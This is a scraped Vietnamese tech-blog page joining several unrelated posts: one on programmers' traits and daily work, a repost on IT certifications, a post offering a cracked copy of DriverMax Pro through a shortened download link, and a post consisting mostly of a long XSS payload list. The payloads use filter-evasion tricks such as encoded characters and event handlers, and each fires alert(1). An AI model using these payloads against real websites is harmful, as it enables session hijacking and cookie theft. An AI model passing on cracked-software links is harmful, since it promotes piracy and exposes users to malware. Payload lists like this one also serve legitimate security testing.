Các bạn hãy tự nhủ rằng “ngu như thằng viết cái blog này nó còn là lập trình viên, vậy tại sao mình không thể trở thành một lập trình viên” ?

Kết luận

Túm cái váy lại thì trên đây là những tố chất cần có của một lập trình theo quan điểm cá nhân của mình.

Những chia sẻ ở bài viết chỉ nằm trong phạm vi dành cho những bạn mới bắt đầu dấn thân vào con đường lập trình ? chứ chưa bao gồm tố chất cần có của một lập trình viên đã đi làm trong công ty phần mềm.

Vì thế có thiếu sót gì mong các bạn trẻ và các Developer đàn anh comment dưới bài viết góp ý cho mình nhé ?

Một số link cho mọi người tham khảo:

https://www.quora.com/Do-I-need-to-be-very-good-at-math-to-become-a-good-programmer

Có cần phải rất giỏi toán để trở thành một lập trình viên giỏi không? Câu trả lời đa phần là “không” ?

https://www.quora.com/unanswered/Why-do-we-need-to-separate-substances

https://www.techrepublic.com/blog/10-things/10-signs-that-you-arent-cut-out-to-be-a-developer/

Nguồn : Văn Sang CSE

loading...

Công việc thường ngày của một lập trình viên là gì?

0

Đây là bài đầu tiên trong series ” Định hướng nghề nghiệp cho các lập trình viên“. Đây là series giúp các bạn trẻ có cái nhìn tổng quan hơn về nghề lập trình trước khi theo đuổi nó.Bài viết này sẽ trả lời câu hỏi ” Làm lập trình viên là làm gì” và Công việc thường ngày của một lập trình viên là gì?

Trước hết chúng ta cần phải hiểu thế nào là lập trình viên?

Hiểu một cách đơn giản lập trình viên là những người thiết kế, xây dựng và bảo trì các phần mềm máy tính bằng các ngôn ngữ lập trình khác nhau. Họ có thể tạo ra các chương trình mới, sửa lỗi hay nâng cấp các phần mềm đó để tăng hiệu quả cho việc sử dụng máy tính.

Các ngôn ngữ lập trình chủ yếu: C, C#, Java, PHP……

Và nhắc đến lập trình viên nhiều bạn sẽ nghĩ ngay đến việc lập trình web, lập trình game, lập trình phần mềm, bla,bla……Bạn nghĩ như vậy là đúng rồi đấy ? Một phần mềm phải được tạo ra từ một “thiết kế”(framework) và để kết nối các chương trình lại với nhau để tạo ra phần mềm đó thì phải cần tới các lập trình viên.

Tới đây chắc các bạn cũng hiểu thế nào là lập trình viên rồi đúng không nào ?

Ôi Dào, dài dòng quá định nghĩa nãy giờ thế rốt cuộc công việc hằng ngày của lập trình viên là gì?

Công việc thường ngày của một lập trình viên đó là học cách gõ 10 ngón tay trên bàn phím máy tính (đùa đấy).

Hiểu một cách đơn giản thì công việc thường ngày của lập trình viên đó là “Code“. Các lập trình viên dành phần lớn thời gian làm việc của mình cho việc code. Code xong thì tiếp theo đó là “Test” code, công việc này thì các bạn sinh viên thường đảm nhận cả việc code lẫn test luôn, nhưng khi đi làm, công việc đòi hỏi phải làm với những hệ thống lớn thì sẽ có người khác lo nhé ?

Cuối cùng và cũng rất quan trọng đó là “Fix Bug”. Bug là những lỗi ta gặp khi code, Code nào cũng có Bug, không ít thì nhiều. Khi phát hiện Bug ta phải vá và sửa code để chương trình chạy đúng.

Công việc của lập trình viên thường xuyên phải ngồi với chiếc máy tính, laptop suốt cả ngày, từ ngày này qua ngày khác, năm này ra năm khác ? Nhiều người nhìn những anh lập trình viên ai cũng đeo kính cận dày cộp, suốt ngày chỉ biết cắm đầu vào máy tính mà chẳng hề quan tâm thế giới ngoài kia có biết bao nhiều cô gái xinh tươi ?

Họ nhìn với ánh mắt dè bỉu và nghĩ ” thứ này chắc cũng chả hay ho gì” ?  . Nhưng do đặc thù công việc nên họ phải chấp nhận vậy thôi, nó là đam mê của mỗi người ?

Kết luận

Vậy là ở phần này, các bạn đã hiểu được những công việc mà các lập trình viên phải làm rồi đúng không nào.

À mà quên như đã nói ở trên do đặc thù của ngành suốt ngày phải ngồi với máy tính nên đến tận bây giờ mình vẫn chưa có gấu ?

Vì thế rất khuyến khích các bạn nữ gửi thư, in bốc làm quen nhé ?

Ở phần sau, chúng ta sẽ tìm hiểu về chủ đề “Học lập trình có thể làm được gì?“. Các bạn nhớ like và theo dõi blog để đón xem nhé.

Author : Van Sang CSE

loading...

Download DriverMax Pro 9.43.0.288 Full Crack mới nhất – Cập nhật Driver máy tính

0

DriverMax Pro là phần mềm giúp bạn dễ dàng quét máy tính, tìm kiếm các driver bị thiếu cho phần cứng thiết bị, cập nhật và sửa lỗi các driver bị lỗi, hay thậm chí là sao lưu lại driver để có thể cài đặt lại sau này một cách dễ dàng nhất. Trong bài viết này mình sẽ gửi link Download DriverMax Pro cho các bạn. Tất nhiên là có kèm crack luôn 😀

Vậy tại sao chúng ta cần phần mềm này? Tại sao lại phải cập nhật driver cho máy tính???? Câu trả lời là việc cập nhật cho máy tính sẽ giúp máy tính của bạn hoạt động trơn tru, ít xảy ra lỗi. Hẳn bạn đã từng gặp trường hợp cắm một con chuột vào máy nhưng máy tính lại không nhận ra, bạn không thể dùng được chuột. Đây chính là do máy tính của bạn thiếu driver của chuột. Việc bạn cần làm là cài đúng driver của chuột thì bạn sẽ dùng dược. Đó là lí do vì sao chúng ta cần cập nhật driver cho máy tính.

Xem thêm :

Các tính năng của DriverMax Pro

  • Tự động đặt lịch quét, cài đặt driver cho máy tính
  • Tự biết phân biệt driver dành cho máy 32-bit và 64-bit để tránh cài nhầm
  • Tương thích với tất cả phiên bản Windows kể cả Windows XP
  • Tự động xác định driver để có thể tải đúng bản driver mới nhất và phù hợp nhất với máy tính
  • Kiểm tra driver đầy đủ trước khi cài đặt vào máy tính ( Rất hay)
  • Tự động tạo bản khôi phục hệ thống giúp bạn roll-back bất cứ lúc nào
  • Hỗ trợ rollback ngay cả khi bạn đang cài đặt driver
  • Quét virus driver tải về để tránh tình trạnh dinh virus
  • Nhận driver Nvidia, Intel, Microsoft và Realtek
  • Cài đặt và cập nhật nhanh chóng và đơn giản

Download DriverMax Pro mới nhất:

[mks_button size=”large” title=”DOWNLOAD LINK FSHARE” style=”squared” url=”http://vnurl.net/mMwqEhbBI” target=”_blank” bg_color=”#1e73be” txt_color=”#FFFFFF” icon=”” icon_type=”” nofollow=”1″]

Chúc các bạn thành công.

 

loading...

Những chứng chỉ quan trọng nhất trong ngành CNTT

0

Chứng chỉ CNTT “làm đẹp” hồ sơ xin việc, giúp tăng lương và giữ việc làm. Hiện nay có rất nhiều các chứng chỉ nhưng chứng chỉ CNTT nào là quan trọng nhất?

Các chuyên gia CNTT đã tranh luận rất nhiều về câu hỏi này. Nhiều ý kiến cho rằng chứng chỉ CNTT (IT certification) của các hãng công nghệ quan trọng nhất bởi chúng đo lường được kỹ năng của ứng viên, trong khi lại có ý kiến cho rằng chứng chỉ độc lập với các hãng công nghệ mới đáng giá, mới là cách đánh giá kiến thức thực tế. Một số tin rằng các chứng chỉ cao cấp như MCSE của Microsoft, CCIE của Cisco mới thực sự có giá trị.

Xét trên từng cá nhân, chứng chỉ CNTT tốt nhất phải là chứng chỉ phù hợp với chuyên môn được đào tạo, kỹ năng, mục đích và con đường sự nghiệp của từng người. Đó là tư tưởng chủ đạo trong việc đưa ra danh sách những chứng chỉ CNTT quan trọng nhất dưới đây. Có thể những chứng chỉ này không phải là quan trọng với bạn nhưng đó là những chứng chỉ có giá trị đáng kể với hầu hết người làm CNTT.

CISSP

Bảo mật ngày trở nên quan trọng. (ISC)², tổ chức quản lý chứng chỉ Chuyên gia bảo mật hệ thống thông tin (Certified Information Systems Security Professional – CISSP), đã tạo dựng được một chứng chỉ bảo mật độc lập với các hãng công nghệ rất tiếng tăm. CISSP được cấp cho những người có kiến thức bảo mật vật lý và mạng cũng như khả năng quản lý nguy cơ và có kiến thức những vấn đề liên quan đến bảo mật.

CISSP được thiết kế dành cho những người có ít nhất 5 năm kinh nghiệm về bảo mật. Viện tiêu chuẩn quốc gia Mỹ (American National Standards Institute – ANSI) là cơ quan cấp chứng chỉ này.

Theo một báo cáo gần đây của công ty tuyển dụng Robert Half, 77% giám đốc thông tin (CIO) ở Anh tin rằng trong 5 năm tới họ sẽ phải đối mặt với các mối đe dọa về an ninh vì thiếu tài năng bảo mật công nghệ thông tin.

Chứng chỉ CISSP

Chứng nhận CISSP của (ISC)² là tiêu chuẩn vàng cho các chuyên gia CNTT, có vai trò bảo mật về quản lý và kỹ thuật cao. CHứng chỉ này chứng tỏ năng lực, kỹ năng, kinh nghiệm chuyên sâu và sự tự tin để thiết kế, thực hiện, quản lý các chương trình bảo mật tổng thể của một doanh nghiệp.

Information Commissioner đã xác định rằng, việc vi phạm an ninh mạng đã tăng 88% kể từ đầu năm 2015. Vì vậy, các doanh nghiệp cũng đang không ngừng gia tăng chính sách an ninh, bảo mật của họ bằng cách sử dụng những người được cấp chứng chỉ này ở mức cao nhất. Với xu hướng hiện nay, CISSP sẽ tiếp tục là con đường tuyệt vời để đạt được vị trí cao nhất trong lĩnh vực bảo mật, an ninh mạng.

EC-Council Certified Ethical Hacker (CEH)

Chứng chỉ CEH của EC-Council là chứng chỉ CNTT chuẩn bị cho bạn những kiến thức để xác định điểm yếu hoặc các lỗ hổng trong mạng của một doanh nghiệp, đặc biệt là những lỗ hổng bảo mật. Bạn sẽ sử dụng những kỹ năng này để bảo vệ doanh nghiệp và vá bất cứ những lỗ hổng tiềm ẩn nào.

EC-Council đã dành hàng nghìn giờ công phu để nghiên cứu những xu hướng mới nhất và khám phá những kỹ thuật bí mật được sử dụng bởi “cộng đồng ngầm” để đưa ra chương trình giảng dạy cũng như những bài kiểm tra cho phiên bản 9 mới nhất.
Không nghi ngờ gì rằng chứng nhận này sẽ tiếp tục được phổ biến trong ngành công nghệ thông tin khi mà những cuộc tấn công quy mô lớn liên tục xảy ra gần đây với những công ty công nghệ có tên tuổi như Yahoo, Tesco, Netfix, Reddit,…

Chứng chỉ CEH

CCNA

Chứng chỉ chuyên gia mạng Cisco (Cisco Certified Internetwork Expert – CCIE) là chứng chỉ có giá trị nhất trong các chứng chỉ mạng của Cisco. Nhưng chứng chỉ cơ bản công nghệ mạng của Cisco (CCNA – Cisco Certified Network Associate) có thể thiết thực hơn với nhiều tổ chức. Bởi không phải công ty nào cũng có đủ điều kiện để đào tạo hay thuê một CCIE hoặc cần đến một người có chứng chỉ này.

Đa phần các tổ chức nhỏ và vừa cần đến đến người có CCNA – chứng chỉ cấp cho những người có kiến thức cơ bản trong việc quản trị thiết bị mạng của Cisco. Đặc biệt khi các công ty vừa và nhỏ ngày càng lệ thuộc vào các công nghệ truy cập từ xa, các kỹ năng hệ thống Cisco cơ bản ngày càng trở nên quan trọng hơn.

Chứng chỉ CCNA

MCITP

MCITP là chuyên gia CNTT được Microsoft chứng nhận (Microsoft Certified IT Professional). Đây là chứng chỉ rất quan trọng của Microsoft cấp cho những người đã chứng tỏ được khả năng trong các công việc: lập trình viên cơ sở dữ liệu, quản trị cơ sở dữ liệu, quản trị máy chủ và quản trị hệ thống máy chủ mail. Để có chứng chỉ này, các ứng viên phải trải qua nhiều kỳ thi của Microsoft.

MCTS

Đây là giấy chứng nhận bạn là chuyên gia công nghệ của Microsoft (MCTS – Microsoft Certified Technology Specialist). MCTS giúp nhân viên CNTT hoàn thiện các kỹ năng cài đặt, bảo trì và xử lý một công nghệ nào đó của Microsoft.

Chứng chỉ MCTS được thiết kế để truyền đạt các kỹ năng và kiến thức về một nền tảng công nghệ của Microsoft. MCTS gồm rất nhiều chứng chỉ cho từng kỹ năng công nghệ riêng biệt. Ví dụ, có thể bạn không dành được chứng chỉ MCTS về SQL Server 2008 nhưng bạn vẫn có thể có được chứng chỉ MCTS về tạo cơ sở dữ liệu (MCTS: SQL Server 2008, Database Development), về quản trị máy chủ (MCTS: SQL Server 2008, Implementation and Maintenance).

Security+

Bảo mật luôn là lĩnh vực quan trọng. Điều này sẽ không thay đổi. Trong thực tế, tầm quan trong của bảo mật trong CNTT ngày càng tăng. Một trong những cách nhanh nhất để làm mất giá trị doanh nghiệp, lòng tin của khách hàng và doanh thu là bị rò rỉ dữ liệu. Và có lẽ không ai trong lĩnh vực công nghệ muốn chịu trách nhiệm cho những vụ rò rỉ dữ liệu đó.

Chứng chỉ Security+ của CompTIA là sự đánh giá trung lập cho những người làm trong lĩnh vực CNTT (ít nhất 2 năm kinh nghiệm) muốn khẳng định sự thành thạo các kiến thức căn bản về bảo mật (như bảo mật mạng, hạ tầng mạng lưới, kiểm soát truy cập, các nguyên tắc bảo mật trong tổ chức…). Đây là chứng chỉ mà bất kỳ ai tham gia quản lý dữ liệu khách hàng hay các thông tin nhạy cảm khác cần có. Để có chứng chỉ này chỉ cần trải qua một kỳ thi.

Chứng chỉ Security+

MCPD

Chứng chỉ MCPD (Microsoft Certified Professional Developer) đánh giá khả năng của một lập trình viên trong việc xây dựng và duy trì các giải pháp phần mềm sử dụng công cụ Visual Studio 2008 và Microsoft .NET Framework 3.5. Chứng chỉ này gồm ba cấp độ: Windows Developer 3.5, ASP.NET Developer 3.5, and Enterprise Applications Developer 3.5. Mỗi cấp độ là một kỳ thi, riêng cấp độ Enterprise Applications Developer 3.5 cần tới hai kỳ thi.

A+

Các chuyên gia công nghệ có kỹ năng hỗ trợ và kiến thức phần cứng chắc chắn ngày càng khó tìm. Không quá nhiều hãnh diện khi là người xử lý những lỗi khởi động Windows hay trục trặc máy tính. Nhưng những kỹ năng này là thiết yếu để duy trì hoạt động ổn định của các doanh nghiệp.

Có thêm chứng chỉ A+ của CompTIA trong sơ yếu lý lịch là cách nói cho những người tuyển dụng biết rằng bạn là người có kinh nghiệm hỗ trợ các hệ thống máy tính. Khi cần cài đặt máy tính, chẩn đoán các vấn đề, bảo trì, xử lý trục trặc mạng hay máy tính, các tổ chức muốn tìm những kỹ thuật viên có chứng chỉ A+ hơn là những người không có chứng chỉ này.

Để có chứng chỉ này, ứng viên phải trải qua nhiều kỳ thi, qua các bài kiểm tra kiến thức chuyên môn như hỗ trợ từ xa hay kỹ thuật viên CNTT.

PMP

Một số chứng chỉ có giá trị bằng cách nhắm đến kỹ năng và chuyên môn đặc biệt. Chứng chỉ chuyên gia quản lý dự án (Project Management Professional – PMP) là một minh chứng. Viện quản lý dự án (Project Management Institute), tổ chức phi lợi nhuận hoạt động như hiệp hội những người làm quản lý dự án, đóng vai trò quản lý hoạt động thi PMP.

Chứng chỉ này đánh giá kiến thức quản lý dự án của ứng viên, gồm kỹ năng và kiến thức lập kế hoạch, thực thi, kế hoạch ngân sách và tổ chức dự án công nghệ. Các ứng viên đủ tư cách thường phải có 3-5 năm kinh nghiệm quản lý dự án.

Trong thời buổi kinh tế khó khăn như hiện nay, những người có kỹ năng quản lý được thừa nhận rất được trọng vọng.

Chứng chỉ PMP

MCSE và MCSA

Sau nhiều năm ra đời, chứng chỉ kỹ sư hệ thống Microsoft (Microsoft Certified Systems Engineer – MCSE) và quản trị hệ thống Microsoft (Microsoft Certified Systems Administrator – MCSA) vẫn rất giá trị.

Chứng chỉ MCSE cấp cho những người có thể thiết kế, thực hiện và quản trị các ứng dụng dựa trên Microsoft 2000 Windows Server và các nền tảng máy chủ Windows khác. Để có chứng chỉ này khá vất cả, ứng viên phải trải qua 7 kỳ thi về hệ thống mạng, hệ điều hành máy khách và thiết kế.

Còn MCSA cấp cho những người có khả năng quản lý và xử lý các môi trường mạng trên nền tảng hệ điều hành Windows. Ứng viên phải trải qua hai kỳ thi về hệ thống mạng, một kỳ thi về hệ điều hành máy khách và một kỳ thi lựa chọn để có MCSA.

Các chứng chỉ này có thể sẽ bị Microsoft thay thế bởi các chứng chỉ mới, nhưng chúng vẫn là thước đo kiến thức cơ bản về các nền tảng Windows.

Microsoft MCSD: App Builder

Chứng chỉ MCSD: App Builder mới sẽ cung cấp cho bạn cách tạo và triển khai các ứng dụng web hiện đại cũng như phát triển các kỹ năng để xây dựng ứng dụng di động hợp xu hướng.

Một nghiên cứu được thực hiện bởi Gartner đã chỉ ra rằng nhu cầu thị trường về phát triển ứng dụng di đồng sẽ tăng ít nhất 5 lần so với khả năng cung cấp của các doanh nghiệp IT.

MCSD: App Builder là chứng chỉ hàng đầu trong lĩnh vực phát triển các kỹ năng thiết kế và triển khai ứng dụng, bảo mật và trải nghiệm người dùng.

Chứng chỉ MCSD

Linux+

Mặc dù Microsoft đang lấn lướt nhưng Linux vẫn tiếp tục tiến bước và là nền tảng quan trọng. Những người có kiến thức Linux muốn được công nhận nên có chứng chỉ Linux+ của CompTIA.

Chứng chỉ này được thiết kế dành cho những người có ít nhất 6-12 tháng hoạt động trên môi trường Linux, có kiến thức cơ bản về vận hành máy chủ và máy khách trên nền tảng hệ điều hành nguồn mở này.

Nguồn : Quản Trị Mạng

loading...

XSS Payload List – Cross Site Scripting Vulnerability Payload List

0
XSS payload list
XSS payload list

Tấn công Cross-Site Scripting (XSS) là một dạng tấn công kiểu chèn thêm đoạn mã đặc biệt mà đoạn mã này sẽ được thực thi ở website bị lỗi. XSS được thực hiện khi attacker thực hiện chèn nó thường là vào các form thực thi ở browser, tới các người dùng khác nhau. Từ đây attacker có thể chiếm được cookie và rất nhiều thông tin quan trọng khác của người dùng. Với cookie thì hacker có thể đăng nhập website mà không cần biết mật khẩu của người dùng.

Đọc thêm các bài viết về XSS tại :

XSS Payload List ( Danh sách các cụm từ để kiểm thử lỗi XSS)

 

&lt;!-- Project Name : Cross Site Scripting ( XSS ) Vulnerability Payload List --&gt;
&lt;!-- Author : Ismail Tasdelen --&gt;
&lt;!-- Linkedin : https://www.linkedin.com/in/ismailtasdelen/ --&gt;
&lt;!-- GitHub : https://github.com/ismailtasdelen/ --&gt;
&lt;!-- Twitter : https://twitter.com/ismailtsdln --&gt;
&lt;!-- Medium : https://medium.com/@ismailtasdelen --&gt;

&lt;script\x20type="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x3Etype="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x0Dtype="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x09type="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x0Ctype="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x2Ftype="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x0Atype="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
'`"&gt;&lt;\x3Cscript&gt;javascript:alert(1)&lt;/script&gt;
'`"&gt;&lt;\x00script&gt;javascript:alert(1)&lt;/script&gt;
&lt;img src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/img&gt;
&lt;audio src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/audio&gt;
&lt;video src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/video&gt;
&lt;body src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/body&gt;
&lt;image src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/image&gt;
&lt;object src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/object&gt;
&lt;script src=1 href=1 onerror="javascript:alert(1)"&gt;&lt;/script&gt;
&lt;svg onResize svg onResize="javascript:javascript:alert(1)"&gt;&lt;/svg onResize&gt;
&lt;title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"&gt;&lt;/title onPropertyChange&gt;
&lt;iframe onLoad iframe onLoad="javascript:javascript:alert(1)"&gt;&lt;/iframe onLoad&gt;
&lt;body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"&gt;&lt;/body onMouseEnter&gt;
&lt;body onFocus body onFocus="javascript:javascript:alert(1)"&gt;&lt;/body onFocus&gt;
&lt;frameset onScroll frameset onScroll="javascript:javascript:alert(1)"&gt;&lt;/frameset onScroll&gt;
&lt;script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"&gt;&lt;/script onReadyStateChange&gt;
&lt;html onMouseUp html onMouseUp="javascript:javascript:alert(1)"&gt;&lt;/html onMouseUp&gt;
&lt;body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"&gt;&lt;/body onPropertyChange&gt;
&lt;svg onLoad svg onLoad="javascript:javascript:alert(1)"&gt;&lt;/svg onLoad&gt;
&lt;body onPageHide body onPageHide="javascript:javascript:alert(1)"&gt;&lt;/body onPageHide&gt;
&lt;body onMouseOver body onMouseOver="javascript:javascript:alert(1)"&gt;&lt;/body onMouseOver&gt;
&lt;body onUnload body onUnload="javascript:javascript:alert(1)"&gt;&lt;/body onUnload&gt;
&lt;body onLoad body onLoad="javascript:javascript:alert(1)"&gt;&lt;/body onLoad&gt;
&lt;bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"&gt;&lt;/bgsound onPropertyChange&gt;
&lt;html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"&gt;&lt;/html onMouseLeave&gt;
&lt;html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"&gt;&lt;/html onMouseWheel&gt;
&lt;style onLoad style onLoad="javascript:javascript:alert(1)"&gt;&lt;/style onLoad&gt;
&lt;iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"&gt;&lt;/iframe onReadyStateChange&gt;
&lt;body onPageShow body onPageShow="javascript:javascript:alert(1)"&gt;&lt;/body onPageShow&gt;
&lt;style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"&gt;&lt;/style onReadyStateChange&gt;
&lt;frameset onFocus frameset onFocus="javascript:javascript:alert(1)"&gt;&lt;/frameset onFocus&gt;
&lt;applet onError applet onError="javascript:javascript:alert(1)"&gt;&lt;/applet onError&gt;
&lt;marquee onStart marquee onStart="javascript:javascript:alert(1)"&gt;&lt;/marquee onStart&gt;
&lt;script onLoad script onLoad="javascript:javascript:alert(1)"&gt;&lt;/script onLoad&gt;
&lt;html onMouseOver html onMouseOver="javascript:javascript:alert(1)"&gt;&lt;/html onMouseOver&gt;
&lt;html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"&gt;&lt;/html onMouseEnter&gt;
&lt;body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"&gt;&lt;/body onBeforeUnload&gt;
&lt;html onMouseDown html onMouseDown="javascript:javascript:alert(1)"&gt;&lt;/html onMouseDown&gt;
&lt;marquee onScroll marquee onScroll="javascript:javascript:alert(1)"&gt;&lt;/marquee onScroll&gt;
&lt;xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"&gt;&lt;/xml onPropertyChange&gt;
&lt;frameset onBlur frameset onBlur="javascript:javascript:alert(1)"&gt;&lt;/frameset onBlur&gt;
&lt;applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"&gt;&lt;/applet onReadyStateChange&gt;
&lt;svg onUnload svg onUnload="javascript:javascript:alert(1)"&gt;&lt;/svg onUnload&gt;
&lt;html onMouseOut html onMouseOut="javascript:javascript:alert(1)"&gt;&lt;/html onMouseOut&gt;
&lt;body onMouseMove body onMouseMove="javascript:javascript:alert(1)"&gt;&lt;/body onMouseMove&gt;
&lt;body onResize body onResize="javascript:javascript:alert(1)"&gt;&lt;/body onResize&gt;
&lt;object onError object onError="javascript:javascript:alert(1)"&gt;&lt;/object onError&gt;
&lt;body onPopState body onPopState="javascript:javascript:alert(1)"&gt;&lt;/body onPopState&gt;
&lt;html onMouseMove html onMouseMove="javascript:javascript:alert(1)"&gt;&lt;/html onMouseMove&gt;
&lt;applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"&gt;&lt;/applet onreadystatechange&gt;
&lt;body onpagehide body onpagehide="javascript:javascript:alert(1)"&gt;&lt;/body onpagehide&gt;
&lt;svg onunload svg onunload="javascript:javascript:alert(1)"&gt;&lt;/svg onunload&gt;
&lt;applet onerror applet onerror="javascript:javascript:alert(1)"&gt;&lt;/applet onerror&gt;
&lt;body onkeyup body onkeyup="javascript:javascript:alert(1)"&gt;&lt;/body onkeyup&gt;
&lt;body onunload body onunload="javascript:javascript:alert(1)"&gt;&lt;/body onunload&gt;
&lt;iframe onload iframe onload="javascript:javascript:alert(1)"&gt;&lt;/iframe onload&gt;
&lt;body onload body onload="javascript:javascript:alert(1)"&gt;&lt;/body onload&gt;
&lt;html onmouseover html onmouseover="javascript:javascript:alert(1)"&gt;&lt;/html onmouseover&gt;
&lt;object onbeforeload object onbeforeload="javascript:javascript:alert(1)"&gt;&lt;/object onbeforeload&gt;
&lt;body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"&gt;&lt;/body onbeforeunload&gt;
&lt;body onfocus body onfocus="javascript:javascript:alert(1)"&gt;&lt;/body onfocus&gt;
&lt;body onkeydown body onkeydown="javascript:javascript:alert(1)"&gt;&lt;/body onkeydown&gt;
&lt;iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"&gt;&lt;/iframe onbeforeload&gt;
&lt;iframe src iframe src="javascript:javascript:alert(1)"&gt;&lt;/iframe src&gt;
&lt;svg onload svg onload="javascript:javascript:alert(1)"&gt;&lt;/svg onload&gt;
&lt;html onmousemove html onmousemove="javascript:javascript:alert(1)"&gt;&lt;/html onmousemove&gt;
&lt;body onblur body onblur="javascript:javascript:alert(1)"&gt;&lt;/body onblur&gt;
\x3Cscript&gt;javascript:alert(1)&lt;/script&gt;
'"`&gt;&lt;script&gt;/* *\x2Fjavascript:alert(1)// */&lt;/script&gt;
&lt;script&gt;javascript:alert(1)&lt;/script\x0D
&lt;script&gt;javascript:alert(1)&lt;/script\x0A
&lt;script&gt;javascript:alert(1)&lt;/script\x0B
&lt;script charset="\x22&gt;javascript:alert(1)&lt;/script&gt;
&lt;!--\x3E&lt;img src=xxx:x onerror=javascript:alert(1)&gt; --&gt;
--&gt;&lt;!-- ---&gt; &lt;img src=xxx:x onerror=javascript:alert(1)&gt; --&gt;
--&gt;&lt;!-- --\x00&gt; &lt;img src=xxx:x onerror=javascript:alert(1)&gt; --&gt;
--&gt;&lt;!-- --\x21&gt; &lt;img src=xxx:x onerror=javascript:alert(1)&gt; --&gt;
--&gt;&lt;!-- --\x3E&gt; &lt;img src=xxx:x onerror=javascript:alert(1)&gt; --&gt;
`"'&gt;&lt;img src='#\x27 onerror=javascript:alert(1)&gt;
&lt;a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
"'`&gt;&lt;p&gt;&lt;svg&gt;&lt;script&gt;a='hello\x27;javascript:alert(1)//';&lt;/script&gt;&lt;/p&gt;
&lt;a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;script&gt;/* *\x2A/javascript:alert(1)// */&lt;/script&gt;
&lt;script&gt;/* *\x00/javascript:alert(1)// */&lt;/script&gt;
&lt;style&gt;&lt;/style\x3E&lt;img src="about:blank" onerror=javascript:alert(1)//&gt;&lt;/style&gt;
&lt;style&gt;&lt;/style\x0D&lt;img src="about:blank" onerror=javascript:alert(1)//&gt;&lt;/style&gt;
&lt;style&gt;&lt;/style\x09&lt;img src="about:blank" onerror=javascript:alert(1)//&gt;&lt;/style&gt;
&lt;style&gt;&lt;/style\x20&lt;img src="about:blank" onerror=javascript:alert(1)//&gt;&lt;/style&gt;
&lt;style&gt;&lt;/style\x0A&lt;img src="about:blank" onerror=javascript:alert(1)//&gt;&lt;/style&gt;
"'`&gt;ABC&lt;div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';"&gt;DEF
"'`&gt;ABC&lt;div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';"&gt;DEF
&lt;script&gt;if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}&lt;/script&gt;
&lt;script&gt;if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}&lt;/script&gt;
&lt;script&gt;if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}&lt;/script&gt;
'`"&gt;&lt;\x3Cscript&gt;javascript:alert(1)&lt;/script&gt;
'`"&gt;&lt;\x00script&gt;javascript:alert(1)&lt;/script&gt;
"'`&gt;&lt;\x3Cimg src=xxx:x onerror=javascript:alert(1)&gt;
"'`&gt;&lt;\x00img src=xxx:x onerror=javascript:alert(1)&gt;
&lt;script src="data:text/plain\x2Cjavascript:alert(1)"&gt;&lt;/script&gt;
&lt;script src="data:\xD4\x8F,javascript:alert(1)"&gt;&lt;/script&gt;
&lt;script src="data:\xE0\xA4\x98,javascript:alert(1)"&gt;&lt;/script&gt;
&lt;script src="data:\xCB\x8F,javascript:alert(1)"&gt;&lt;/script&gt;
&lt;script\x20type="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x3Etype="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x0Dtype="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
